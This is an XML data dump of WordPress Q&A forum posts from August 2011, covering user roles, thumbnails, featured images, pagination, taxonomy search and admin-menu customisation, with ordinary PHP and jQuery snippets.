  <row Id="26953" PostTypeId="1" CreationDate="2011-08-26T07:47:17.810" Score="2" ViewCount="30" Body="&lt;p&gt;I'm pretty sure I understand the roles and capabilities setup in WordPress: granular capabilities, grouped together in roles that can be assigned to users. Code should check the granular capabilities, not the roles (because the capabilities for particular roles can change). Roles are not necessarily hierarchical (though the default roles are).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there any way of assigning multiple roles to users? Alternatively, having a number of groups of capabilities, and associating one or more group to a user? The way my site works, there are a number of obvious responsibilities: updating web pages, moderating forums, updating the events calendar, and so on. Each responsibility has a group of capabilities that are needed in order to perform the tasks associated with it. I'd like to enable a user to perform one or more responsibilities. So user A could update web pages and the events calendar but not moderate the forums (not nearly tactful enough), but user B could moderate forums, update the events calendar, but isn't allowed near the web pages.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Short of defining a role for each possible combination of responsibilities, is there any way of doing this?&lt;/p&gt;&#xA;" OwnerUserId="7381" LastActivityDate="2011-09-01T20:05:56.627" Title="Groups of capabilities: users with multiple roles?" Tags="&lt;users&gt;&lt;roles&gt;&lt;capabilities&gt;" AnswerCount="3" FavoriteCount="1" />
  <row Id="26954" PostTypeId="1" AcceptedAnswerId="26956" CreationDate="2011-08-26T08:00:49.393" Score="1" ViewCount="43" Body="&lt;p&gt;Is it possible to set a different thumbnail size for different pages?&#xA;For example, I want the thumbnails on my category, archive and tag view to be bigger than on my home.php.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Right now I have the following code in my function.php:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_theme_support( 'post-thumbnails' );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;set_post_thumbnail_size( 250, 165, true );&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Do I have to modify my function.php or is it also possible to modify the thumbnail size in the home.php where I want the size to be different from index.php?&lt;/p&gt;&#xA;" OwnerUserId="6903" LastActivityDate="2011-08-26T09:01:21.040" Title="Different thumbnail sizes" Tags="&lt;post-thumbnails&gt;" AnswerCount="2" />
  <row Id="26955" PostTypeId="2" ParentId="26953" CreationDate="2011-08-26T08:01:05.947" Score="0" ViewCount="" Body="&lt;p&gt;The &lt;a href=&quot;http://wordpress.org/extend/plugins/role-scoper/&quot; rel=&quot;nofollow&quot;&gt;Role Scoper plugin&lt;/a&gt; may be able to accomplish what you're looking for.&lt;/p&gt;&#xA;" OwnerUserId="7949" LastActivityDate="2011-08-26T08:01:05.947" CommentCount="2" />
  <row Id="26956" PostTypeId="2" ParentId="26954" CreationDate="2011-08-26T08:01:53.213" Score="2" ViewCount="" Body="&lt;p&gt;In your functions file you need to add image sizes:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://codex.wordpress.org/Function_Reference/add_image_size&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/Function_Reference/add_image_size&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="3365" LastActivityDate="2011-08-26T08:01:53.213" CommentCount="3" />
  <row Id="26957" PostTypeId="2" ParentId="26953" CreationDate="2011-08-26T08:26:59.337" Score="0" ViewCount="" Body="&lt;p&gt;I use &lt;a href=&quot;http://wordpress.org/extend/plugins/members/&quot; rel=&quot;nofollow&quot;&gt;Members plugin&lt;/a&gt; together with custom created capabilities.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can't assign several roles to one person, but you can create any roles and specify what capabilities that role has.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The in the tempaltes, you can use something like &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/current_user_can&quot; rel=&quot;nofollow&quot;&gt;current_user_can()&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="1447" LastActivityDate="2011-08-26T08:26:59.337" CommentCount="2" />
  <row Id="26958" PostTypeId="1" CreationDate="2011-08-26T08:59:35.130" Score="1" ViewCount="34" Body="&lt;p&gt;I been working with featured images more lately and I been adding them to my posts as I go.  However I have a bunch of older posts that do not have the featured image set and I want to use it for such things as wptouch etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So I have like 300 posts and to be honest I dont want to go into 300 posts and set the images manually.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;IS there anyway either by plugin or code that you can code it where the featured images area will grab the first image in each post?&lt;/p&gt;&#xA;" OwnerUserId="8082" LastActivityDate="2011-08-26T09:20:40.260" Title="extract post image to be featured images" Tags="&lt;images&gt;" AnswerCount="2" />
  <row Id="26959" PostTypeId="2" ParentId="26954" CreationDate="2011-08-26T09:01:21.040" Score="0" ViewCount="" Body="&lt;p&gt;Here is the one you need: &#xA;&lt;a href=&quot;http://codex.wordpress.org/Function_Reference/wp_get_attachment_image&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/Function_Reference/wp_get_attachment_image&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And some examples of how to use it:&#xA;    &lt;/p&gt;&#xA;&#xA;&lt;p&gt;That way, It will return an 300 width and 200 height image. But yeah, @Alex makes a right point here. Use add_image_size is easier. &lt;/p&gt;&#xA;" OwnerUserId="8108" LastActivityDate="2011-08-26T09:01:21.040" />
  <row Id="26960" PostTypeId="1" CreationDate="2011-08-26T09:02:14.143" Score="0" ViewCount="17" Body="&lt;p&gt;I'm having difficulty getting posts_nav_link() to display anything. Below is my index.php template file, I'm using permalinks (&lt;code&gt;index.php/2011/08/26/sample-post/&lt;/code&gt; format) and I've currently got my &lt;code&gt;Blog pages show at most&lt;/code&gt; set to &lt;code&gt;-1&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anyone know why the links aren't working?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;index.php&lt;/strong&gt; &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;    get_header();&#xA;    $args = array('posts_per_page' =&amp;gt; 4,'paged' =&amp;gt; get_query_var('page'));&#xA;    $myquery = new WP_Query( $args );&#xA;?&amp;gt;&#xA;&#xA;    &amp;lt;?php while ( $myquery-&amp;gt;have_posts() ) : $myquery-&amp;gt;the_post(); ?&amp;gt;&#xA;&#xA;        &amp;lt;h1&amp;gt;&amp;lt;?php the_title(); ?&amp;gt;&amp;lt;/h1&amp;gt;&#xA;&#xA;        &amp;lt;?php the_content()?&amp;gt;&#xA;&#xA;    &amp;lt;?php endwhile ?&amp;gt;&#xA;&#xA;    &amp;lt;?php posts_nav_link() ?&amp;gt;&#xA;&#xA;    &amp;lt;?php wp_reset_postdata(); ?&amp;gt;&#xA;&#xA;&amp;lt;?php get_footer(); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="376" LastActivityDate="2011-08-26T19:27:03.417" Title="posts_nav_link() not displaying anything" Tags="&lt;posts&gt;&lt;pagination&gt;" AnswerCount="1" />
  <row Id="26961" PostTypeId="2" ParentId="26958" CreationDate="2011-08-26T09:05:34.217" Score="1" ViewCount="" Body="&lt;p&gt;Here is the function:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function catch_that_image() {&#xA;global $post, $posts;&#xA;$first_img = '';&#xA;ob_start();&#xA;ob_end_clean();&#xA;$output = preg_match_all('/&amp;lt;img.+src=[\'&quot;]([^\'&quot;]+)[\'&quot;].*&amp;gt;/i', $post-&amp;gt;post_content, $matches);&#xA;$first_img = $matches [1] [0];&#xA;&#xA;// no image found display default image instead&#xA;if(empty($first_img)){&#xA;    $first_img = get_bloginfo('template_url').&quot;/images/no_image.gif&quot;;&#xA;}&#xA;return $first_img;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and Here is how to use it:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$imgURL = catch_that_image(); &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="8108" LastActivityDate="2011-08-26T09:05:34.217" CommentCount="1" />
  <row Id="26962" PostTypeId="2" ParentId="26958" CreationDate="2011-08-26T09:20:40.260" Score="1" ViewCount="" Body="&lt;p&gt;if the image is inserted (attached) into the post and not a external link:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function get_my_thumbnail($post_id, $size, $attr = ''){&#xA;&#xA;  // check of featured image first&#xA;  $t = get_post_thumbnail_id($post_id);&#xA;&#xA;  // no featured image set, check post attachments&#xA;  if(empty($){&#xA;    $attachments = get_children(array(&#xA;      'post_parent'    =&amp;gt; $post_id,&#xA;      'post_status'    =&amp;gt; 'inherit',&#xA;      'post_type'      =&amp;gt; 'attachment',&#xA;      'post_mime_type' =&amp;gt; 'image',&#xA;      'order'          =&amp;gt; 'ASC',&#xA;      'orderby'        =&amp;gt; 'menu_order ID',&#xA;    ));&#xA;    $attachment = array_shift($attachments); // we only need one&#xA;    $t = $attachment ? $attachment-&amp;gt;ID : false;&#xA;  } &#xA;&#xA;  // no attachments either...&#xA;  if(empty($t)) return 'no image...';&#xA;&#xA;  // we have either attachment / featured image, so output the post thumbnail&#xA;  do_action('begin_fetch_post_thumbnail_html', $post_id, $t, $size); // compat&#xA;  $html = wp_get_attachment_image($t, $size, false, $attr);&#xA;  do_action('end_fetch_post_thumbnail_html', $post_id, $t, $size);&#xA;&#xA;  return $html;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;}&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You may want to also &lt;a href=&quot;http://wordpress.org/extend/plugins/regenerate-thumbnails/&quot; rel=&quot;nofollow&quot;&gt;regenerate all attachment sizes&lt;/a&gt; (auto-create &lt;code&gt;$size&lt;/code&gt;-d images from your older ones), so you don't get browser-resized huge images...&lt;/p&gt;&#xA;" OwnerUserId="1986" LastActivityDate="2011-08-26T09:20:40.260" CommentCount="1" />
  <row Id="26964" PostTypeId="1" CreationDate="2011-08-26T09:48:29.767" Score="0" ViewCount="19" Body="&lt;p&gt;Anyone know if I can make a checkbox-list with all terms from a taxonomy, and search for the posts belonging to the checked terms? Listing categories in the checkboxes also would be a bonus!&lt;/p&gt;&#xA;" OwnerUserId="5079" LastActivityDate="2011-08-26T11:52:46.223" Title="Checkboxed term search" Tags="&lt;search&gt;&lt;terms&gt;" AnswerCount="1" />
  <row Id="26965" PostTypeId="2" ParentId="24149" CreationDate="2011-08-26T09:53:03.973" Score="0" ViewCount="" Body="&lt;p&gt;Something like this code snippet will help you&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$args = array(&#xA;    'post_type' =&amp;gt; 'product',&#xA;    'orderby' =&amp;gt; 'meta_value', &#xA;    'meta_key' =&amp;gt; 'mytype-sort-order',&#xA;    'order' =&amp;gt; 'ASC',&#xA;    'meta_query' =&amp;gt; array(&#xA;        array(&#xA;            'key' =&amp;gt; 'mytype-expired',&#xA;            'value' =&amp;gt; 'yes',&#xA;            'compare' =&amp;gt; '!='&#xA;        )&#xA;    )&#xA;);&#xA;$query = new WP_Query( $args );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="7156" LastActivityDate="2011-08-26T09:53:03.973" />
  <row Id="26967" PostTypeId="2" ParentId="26949" CreationDate="2011-08-26T10:13:56.660" Score="0" ViewCount="" Body="&lt;p&gt;&lt;a href=&quot;http://themeshaper.com/2010/06/03/sample-theme-options/&quot; rel=&quot;nofollow&quot;&gt;Here&lt;/a&gt; is a good article from the Wordpress theme developers, I am literally following it right now.&lt;/p&gt;&#xA;" OwnerUserId="3669" LastActivityDate="2011-08-26T10:13:56.660" />
  <row Id="26968" PostTypeId="2" ParentId="26866" CreationDate="2011-08-26T10:41:02.450" Score="0" ViewCount="" Body="&lt;pre&gt;&lt;code&gt;                &amp;lt;?php&#xA;      $args = array(&#xA;                    'post_type' =&amp;gt; 'page',&#xA;                    'post_status' =&amp;gt; 'publish',&#xA;                    'numberposts' =&amp;gt; -1,&#xA;                    'exclude' =&amp;gt; '3984,1939,6006,28,2784',&#xA;                    'exclude_tree' =&amp;gt; '1939',&#xA;                    'sort_order' =&amp;gt; 'desc'&#xA;                );&#xA;                     $postslist = get_pages($args);&#xA;                     foreach ($postslist as $post) :&#xA;                        setup_postdata($post);&#xA;&#xA;                     ?&amp;gt;&#xA;                &amp;lt;li&amp;gt;&#xA;                    &amp;lt;a href=&quot;&amp;lt;?php the_permalink(); ?&amp;gt;&quot; title=&quot;&amp;lt;?php the_title(); ?&amp;gt;&quot;&amp;gt;&#xA;                        &amp;lt;?php if ( has_post_thumbnail() ) { the_post_thumbnail('portrait');} else { echo '&amp;lt;img src=&quot;#&quot; alt=&quot;Something Went Wrong?&quot; title=&quot;Sorry - Something went wrong?&quot; /&amp;gt;';}?&amp;gt;    &#xA;                    &amp;lt;/a&amp;gt;&#xA;                        &amp;lt;span&amp;gt;&amp;lt;?php meta('issue-number'); ?&amp;gt;&amp;lt;/span&amp;gt;&#xA;                &amp;lt;/li&amp;gt;&#xA;&#xA;     &amp;lt;?php endforeach; ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Thanks to Phoenix - all i needed to do was have get_pages instead. This opened up the extra options i needed&lt;/p&gt;&#xA;" OwnerUserId="4181" LastActivityDate="2011-08-26T10:41:02.450" />
  <row Id="26970" PostTypeId="1" CreationDate="2011-08-26T11:23:47.747" Score="0" ViewCount="49" Body="&lt;p&gt;I realised that I have a strange problem when I try to share a post in facebook.&#xA;From all my posts, only for the first post I created the thumbnail image shows for when I try to share the link in facebook, via a sharing plugin (i.e. shareThis, or sociable), or even when I directly paste the link in facebook myself.&#xA;For the rest of posts I created I get no image at all.&#xA;I should add here that thumbnail image shows ok when I share pages.&#xA;The problem is only with posts.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have build a child theme for twenty eleven, and when I removed it the problem was still there.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then I removed twenty eleven and replaced it with Kubrick theme, and the problem was still there.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Has anyone ever a encountered a similar problem?&lt;/p&gt;&#xA;" OwnerUserId="8186" LastEditorUserId="4209" LastEditorDisplayName="" LastEditDate="2011-08-26T11:55:48.190" LastActivityDate="2011-08-26T12:34:23.913" Title="thumbnail image in Facebook share shows only for the first post" Tags="&lt;posts&gt;&lt;image&gt;&lt;thumbnails&gt;" AnswerCount="1" CommentCount="1" />
  <row Id="26971" PostTypeId="2" ParentId="11632" CreationDate="2011-08-26T11:35:16.503" Score="0" ViewCount="" Body="&lt;p&gt;Use &lt;code&gt;category__not_in =&amp;gt; array(7932)&lt;/code&gt; instead.&#xA;&lt;a href=&quot;http://codex.wordpress.org/Class_Reference/WP_Query#Category_Parameters&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/Class_Reference/WP_Query#Category_Parameters&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="7904" LastActivityDate="2011-08-26T11:35:16.503" />
  <row Id="26972" PostTypeId="2" ParentId="26964" CreationDate="2011-08-26T11:52:46.223" Score="1" ViewCount="" Body="&lt;p&gt;&#xA;I built something similar for a client not too long ago. I believe your question is if it is possible -- I can definitely say yes there. How would you go about it? Well, as I don't have the code handy, I'll give you a brief run-down of the steps I went about.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;I made a custom page template and created a page to use this template. In the template, I wrote an HTML form with &lt;code&gt;action=&quot;&quot;&lt;/code&gt; and &lt;code&gt;method=&quot;POST&quot;&lt;/code&gt; and set-up the checkboxes manually. You might be able to use &lt;code&gt;get_terms&lt;/code&gt; to avoid having to do it manually. I made sure the &lt;code&gt;name&lt;/code&gt;'s of all my checkboxes were &lt;code&gt;xxxx[]&lt;/code&gt;.&lt;/li&gt;&#xA;&lt;li&gt;As I wanted to handle the form in the same page (thereby setting &lt;code&gt;action=&quot;&quot;&lt;/code&gt;), I added a check for the POST variable sent by the form. If it was present, it would display the form and the search results (coming to that later). If it wasn't present, only the form would show. &lt;code&gt;if(!isset($_POST['xxxx']))&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;In the &lt;code&gt;else&lt;/code&gt;-block (the one executed if the form had been submitted) I then set-up the following arguments for the coming &lt;code&gt;WP_Query&lt;/code&gt; object: &lt;pre&gt;$args['tax_query'][] = array(&#xA;'taxonomy' =&gt; 'taxonomy_name_here',&#xA;'field' =&gt; 'slug'&#xA;'terms' =&gt; $_POST['xxxx']&#xA;);&lt;/pre&gt;&lt;/li&gt;&#xA;&lt;li&gt;I then created the &lt;code&gt;WP_Query&lt;/code&gt; object and pulled the results from it.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;I hope this makes sense - I went on and AJAX-ified this along with a few other modifications, however this example shows the backbone on which I built this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Good luck!&lt;/p&gt;&#xA;" OwnerUserId="7904" LastActivityDate="2011-08-26T11:52:46.223" CommentCount="2" />
  <row Id="26973" PostTypeId="2" ParentId="26970" CreationDate="2011-08-26T12:34:23.913" Score="0" ViewCount="" Body="&lt;p&gt;Apart from the thing that Facebook has been acting weird with thumbnails recently, you need to specify which image to use or else it will pick up a random one from the page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have coded a plugin for this, read its description and see if it helps &lt;a href=&quot;http://wordpress.org/extend/plugins/facebook-like-thumbnail/&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/plugins/facebook-like-thumbnail/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1521" LastActivityDate="2011-08-26T12:34:23.913" />
  <row Id="26974" PostTypeId="1" CreationDate="2011-08-26T12:49:22.193" Score="0" ViewCount="59" Body="&lt;p&gt;Is there a built-in feature or plugin that allows you to attach a document to a post or page such that the actual attachment file is one thing (eg a PDF) but the thumbnail images are another (eg a JPEG)? CLARIFICATION: the thumbnail does not need to be automatically generated (it could be a separate upload)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The use case here is a document library, where you have a little screenshot of what that document looks like but when you click the attachment, you can download the original document.&lt;/p&gt;&#xA;" OwnerUserId="3687" LastEditorUserId="3687" LastEditorDisplayName="" LastEditDate="2011-08-26T15:47:19.767" LastActivityDate="2011-08-26T19:25:11.993" Title="Can I attach a document (eg: PDF) but have a JPEG as a thumbnail?" Tags="&lt;attachments&gt;&lt;media-upload&gt;&lt;thumbnails&gt;" AnswerCount="2" CommentCount="6" />
  <row Id="26975" PostTypeId="2" ParentId="26928" CreationDate="2011-08-26T13:58:54.090" Score="1" ViewCount="" Body="&lt;p&gt;Thanks to @Rarst who led me in the right direction to answer this question!&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;What do you get if you var_dump() return of what doesn't work,&#xA;  especially wp_get_attachment_img_src()? Do you have WP_DEBUG enabled?&#xA;  – Rarst&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function product_images() {&#xA;global $post;&#xA;    $attachments = get_posts( array(&#xA;        'post_type' =&amp;gt; 'attachment',&#xA;        'posts_per_page' =&amp;gt; 0,&#xA;        'post_parent' =&amp;gt; $post-&amp;gt;ID,&#xA;        'exclude' =&amp;gt; get_post_thumbnail_id()&#xA;    ) );&#xA;&#xA;    if ( $attachments ) {&#xA;        // $content needed to be just = not .= to start out the variable&#xA;        $content = '&amp;lt;div class=&quot;productimgs&quot;&amp;gt;';&#xA;        foreach ( $attachments as $attachment ) {&#xA;            // The correct function to retrieve the needed URLs&#xA;            $imgthumb = wp_get_attachment_image_src( $attachment-&amp;gt;ID, 'thumbnail' );&#xA;            $imgfull = wp_get_attachment_image_src( $attachment-&amp;gt;ID, 'full' );&#xA;            $content .= '&amp;lt;a class=&quot;thickbox&quot; href=&quot;'.$imgfull[0].'&quot;&amp;gt;&amp;lt;img class=&quot;productimg&quot; src=&quot;'.$imgthumb[0].'&quot; /&amp;gt;&amp;lt;/a&amp;gt;';&#xA;&#xA;        }&#xA;        $content .= '&amp;lt;/div&amp;gt;';&#xA;    }&#xA;    // Most importantly, this needed to be an echo not a return&#xA;echo $content;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Thanks again Rarst for leading me to the answer!&lt;/p&gt;&#xA;" OwnerUserId="6161" LastActivityDate="2011-08-26T13:58:54.090" />
  <row Id="26976" PostTypeId="1" AcceptedAnswerId="26990" CreationDate="2011-08-26T14:00:29.503" Score="0" ViewCount="37" Body="&lt;p&gt;I see plugins that somehow hook into the Wordpress file browser (so that users can either upload an image to the image library or choose an image from the image library) but I've been searching through the codex and can't seem to find a simple way to do this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'd like to add the image browser/file upload to my options page...&lt;/p&gt;&#xA;" OwnerUserId="2417" LastActivityDate="2011-08-26T20:00:43.830" Title="Wordpress file browser" Tags="&lt;images&gt;" AnswerCount="2" CommentCount="1" />
  <row Id="26977" PostTypeId="1" AcceptedAnswerId="26995" CreationDate="2011-08-26T14:47:48.387" Score="0" ViewCount="33" Body="&lt;p&gt;I just heard somewhere that by using some javascript it is possible to load of a page after the entire page load completes,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I googled, I found &lt;a href=&quot;http://www.appelsiini.net/projects/lazyload&quot; rel=&quot;nofollow&quot;&gt;LazyLoad&lt;/a&gt;, but it seems that latest browsers are not supporting it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My site has some images because of which sites becomes slow, is it possible to load images after the completion of page load?&lt;/p&gt;&#xA;" OwnerUserId="1743" LastActivityDate="2011-08-26T19:02:28.747" Title="Load images after page load" Tags="&lt;javascript&gt;" AnswerCount="1" />
  <row Id="26978" PostTypeId="1" CreationDate="2011-08-26T14:49:19.150" Score="0" ViewCount="32" Body="&lt;p&gt;I posted this on stackoverflow and they said i can try here - &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have wordpress installed on my website. On that site, under a subfolder i have oscommerce system installed as online commerce store.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I activated permalinks on my wordpress, But now everytime i try to reach the store administration i get page not found in the wordpress.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If i'll disable the permalink i can gain access again, can you please help?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks as always, Danny&lt;/p&gt;&#xA;" OwnerUserId="8189" LastActivityDate="2011-08-26T20:19:41.593" Title="WORDPRESS permalinks and page store" Tags="&lt;permalinks&gt;&lt;redirect&gt;&lt;wordpress.com&gt;&lt;permissions&gt;" AnswerCount="2" CommentCount="2" />
  <row Id="26979" PostTypeId="2" ParentId="26934" CreationDate="2011-08-26T14:51:09.983" Score="2" ViewCount="" Body="&lt;p&gt;I do this using jQuery (since it doesn't necessarily need to be in the TEXT (for screen readers, etc.) - just another option...:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;jQuery(document).ready(function() {&#xA;  jQuery('ul#nav li').has('ul').addClass('parentul');&#xA;});&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then for that &quot;parentul&quot; class I put in a background image of an arrow and position it to the right &gt; ...&lt;/p&gt;&#xA;" OwnerUserId="8150" LastActivityDate="2011-08-26T14:51:09.983" CommentCount="2" />
  <row Id="26980" PostTypeId="1" CreationDate="2011-08-26T14:56:27.260" Score="0" ViewCount="37" Body="&lt;p&gt;Where is function.php is stored and built? I want to remove menu named as tools from mysite from all user like admin and other user's?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I Request you please help me out from this problem.Give me the best solution like lay-man to wordpress so that i can understand things quickly.&lt;/p&gt;&#xA;" OwnerUserId="8190" LastEditorUserId="3966" LastEditorDisplayName="" LastEditDate="2011-08-26T15:05:03.087" LastActivityDate="2011-08-26T16:48:47.817" Title="How to remove the Tools menu item from the WP-Admin menu" Tags="&lt;multisite&gt;&lt;admin-menu&gt;" AnswerCount="3" />
  <row Id="26981" PostTypeId="2" ParentId="26980" CreationDate="2011-08-26T15:16:21.870" Score="0" ViewCount="" Body="&lt;p&gt;The following code removes menus, place in your theme functions.php file:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// Remove unneeded menus&#xA;function sc_remove_menus()&#xA;{&#xA;    // setup the global menu variable&#xA;    global $menu;&#xA;    // this is an array of the menu item names we wish to remove&#xA;    $restricted = array( __('Links'),__('Tools'),__('Comments'), __('Media'));&#xA;    end ($menu);&#xA;    while (prev($menu))&#xA;    {&#xA;        $value = explode(' ',$menu[key($menu)][0]);&#xA;        if(in_array($value[0] != NULL?$value[0]:&quot;&quot; , $restricted))&#xA;        {&#xA;            unset($menu[key($menu)]);&#xA;        }&#xA;    }&#xA;}&#xA;// hook into the action that creates the menu&#xA;add_action('admin_menu', 'sc_remove_menus');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If you just want to remove just tools then change this line:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$restricted = array( __('Links'),__('Tools'),__('Comments'), __('Media'));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;to:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$restricted = array(__('Tools'));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This will only remove the menu item. You can still get to tools by typing in the URL manually.&lt;/p&gt;&#xA;" OwnerUserId="4610" LastActivityDate="2011-08-26T15:16:21.870" CommentCount="3" />
  <row Id="26982" PostTypeId="2" ParentId="26980" CreationDate="2011-08-26T15:25:49.570" Score="0" ViewCount="" Body="&lt;p&gt;You want to use &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/remove_menu_page&quot; rel=&quot;nofollow&quot;&gt;remove menu page&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;add_action( 'admin_menu', 'wpse26980_remove_tools', 99 );&#xA;function wpse26980_remove_tools()&#xA;{&#xA;    remove_menu_page( 'tools.php' );&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You can drop that in your functions.php file (without the opening &lt;code&gt;&amp;lt;?php&lt;/code&gt; most likely).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That's not going to prevent people from typing in &lt;code&gt;yoursite.com/wp-admin/tools.php&lt;/code&gt; and seeing the tools page, however.&lt;/p&gt;&#xA;" OwnerUserId="6035" LastActivityDate="2011-08-26T15:25:49.570" />
  <row Id="26983" PostTypeId="2" ParentId="26974" CreationDate="2011-08-26T15:32:25.767" Score="1" ViewCount="" Body="&lt;p&gt;Basic HTML?  &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;a href=&quot;your.pdf&quot;&amp;gt;&#xA;&amp;lt;img src=&quot;image.jpg&quot; /&amp;gt;&#xA;&amp;lt;/a&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;When you insert and image there is a field for the url called &lt;strong&gt;Link URL&lt;/strong&gt;, you can just put your download url there.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please at least explain the down vote, I'm pretty certain this answers the OP's question.&lt;/p&gt;&#xA;" OwnerUserId="1509" LastEditorUserId="1509" LastEditorDisplayName="" LastEditDate="2011-08-26T16:36:00.670" LastActivityDate="2011-08-26T16:36:00.670" CommentCount="5" />
  <row Id="26984" PostTypeId="1" CreationDate="2011-08-26T16:29:23.433" Score="0" ViewCount="8" Body="&lt;p&gt;Someone can help me add an item called &quot;Active/Deactive&quot; into the Bulk Action combobox in User-list page (wp-admin/users.php) ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My site I develop have some type of user, i.e Free User and Paid User, Paid User can post 1000 posts, when he want to posts more than 1000 post he need to pay on paypal, and administrator manually Active (Renew) his Account on admin-cp.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Sorry for my bad english, please help me to resolve this problem.&lt;/p&gt;&#xA;" OwnerUserId="8192" LastActivityDate="2011-08-26T16:29:23.433" Title="Help me add an item in to Bulk Action combobox in Userlist page" Tags="&lt;user&gt;" />
  <row Id="26985" PostTypeId="2" ParentId="15758" CreationDate="2011-08-26T16:33:15.587" Score="5" ViewCount="" Body="&lt;p&gt;Just wrote the function. It'll display the tinymce editor in every custom taxonomy description right now. Surely you can edit to show it for only some specific taxonomy.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/**&#xA; * Display advanced TinyMCE editor in taxonomy page&#xA; */&#xA;function wpse_7156_enqueue_category() {&#xA;    global $pagenow, $current_screen;&#xA;&#xA;    if( $pagenow == 'edit-tags.php' ) {&#xA;        require_once(ABSPATH . 'wp-admin/includes/post.php');&#xA;        require_once(ABSPATH . 'wp-admin/includes/template.php');&#xA;&#xA;        wp_tiny_mce( false, array( 'editor_selector' =&amp;gt; 'description', 'elements' =&amp;gt; 'description', 'mode' =&amp;gt; 'exact' ));&#xA;    } &#xA;}&#xA;add_action( 'init', 'wpse_7156_enqueue_category' );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You can provide the first argument in &lt;code&gt;wp_tiny_mce&lt;/code&gt; as &lt;code&gt;true&lt;/code&gt; if you want a stripped version of tinyMCE&lt;/p&gt;&#xA;" OwnerUserId="7156" LastEditorUserId="2110" LastEditorDisplayName="" LastEditDate="2011-08-26T18:18:07.100" LastActivityDate="2011-08-26T18:18:07.100" CommentCount="5" />
